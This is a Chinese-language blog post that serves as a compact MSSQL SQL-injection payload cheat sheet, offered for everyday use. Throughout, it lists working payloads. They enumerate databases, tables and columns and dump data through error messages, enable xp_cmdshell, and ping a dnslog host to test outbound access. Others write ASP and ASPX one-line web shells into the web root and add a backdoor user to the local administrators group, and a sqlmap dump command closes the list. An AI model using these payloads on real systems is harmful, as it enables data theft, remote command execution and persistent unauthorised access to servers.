MSSQL注入流程,简洁

MSSQL注入日常使用的payload,遇到MSSQL注入,这些够用了,完整的在这里
传送门

拿数据的
##判断注入点
and user>0 --
having 1=1--	

##判断权限,如果页面回显正常则为正确,否则报错
and 1=(select IS_SRVROLEMEMBER('sysadmin')) --

##获取当前数据库
And 1=(select db_name()) --

##获取当前数据库内的所有数据表
and 1=convert(int,(select quotename(name) from 数据库..sysobjects where xtype='U' FOR XML PATH(''))) --

##获取当前数据库内的指定数据表的所有字段
and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- 

##取指定数据库内的表数据内容
and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--



命令执行
##开启xp_cmdshell,0为关闭,1为开启
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; --

##关闭xp_cmdshell
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE; --

##执行ping判断否能执行xm_cmdshell和服务器是否通外网,注意:需要开启多语句才能执行xm_cmdshell
;exec master..xp_cmdshell "ping teki6x.dnslog.cn" -- 

##写入一句话木马(asp),需要知道网站根目录
;exec master..xp_cmdshell 'echo ^<%25eval request(1234)%25^> >  C:\Inetpub\wwwroot\test.asp' --

##写入一句话木马(aspx),需要知道网站根目录
;exec master..xp_cmdshell 'echo ^<%25@ Page Language="Jscript"%25^>^<%25eval(Request.Item["aaa"],"unsafe");%25^> >  C:\Inetpub\wwwroot\test.aspx' --

##用XP_CMDSHELL添加用户test1
;exec master.dbo.xp_cmdshell 'net user test1 test1 /add' --

##XP_CMDSHELL把用户test1加到ADMIN组,添加管理员组才可远程
;exec master.dbo.xp_cmdshell 'net localgroup administrators test1 /add' -- 



无回显/网站根目录获取
##在数据库tempdb下创建临时表temp_db,字段test
;use tempdb;create table temp_db (test varchar(1000)); --

##查找网站文件并把结果写入到temp_db表中
;use tempdb;insert into temp_db(test) exec master..xp_cmdshell 'dir /s /b C:\search.asp';--

##用sqlmap得到表temp_db的内容:
python2 sqlmap.py -r 1.txt --dbms="Microsoft SQL Server" --technique=E  -D "tempdb" -T "temp_db" -C "test" --dump --fresh-queries															--fresh-queries参数为刷新缓存

##手工读取temp_db表内容
and 1=(select top 1 * from tempdb..temp_db where test=1 FOR XML PATH(''))--

##建议用like匹配更好,注意吧"%" "''"编码,%编码是%25,单引号是%27
and 1=(select top 1 * from tempdb..temp1_db where test1 like %27%25asp%27  FOR XML PATH('')) --
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值